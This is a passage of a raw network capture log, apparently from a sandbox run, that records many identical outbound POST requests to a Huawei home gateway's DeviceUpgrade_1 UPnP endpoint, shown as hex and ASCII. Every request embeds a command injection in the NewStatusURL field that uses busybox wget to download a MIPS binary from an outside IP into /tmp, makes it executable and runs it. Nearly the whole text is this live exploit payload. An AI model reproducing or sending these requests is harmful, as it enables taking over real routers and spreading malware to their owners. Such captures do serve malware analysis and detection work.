20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:52.636636019 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:07.484559059 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:37.948528051 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	42554	156.241.117.127	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:38.215785980 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:39.804531097 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:41.660511971 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:45.468575954 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:52.892597914 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:07.740540028 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo 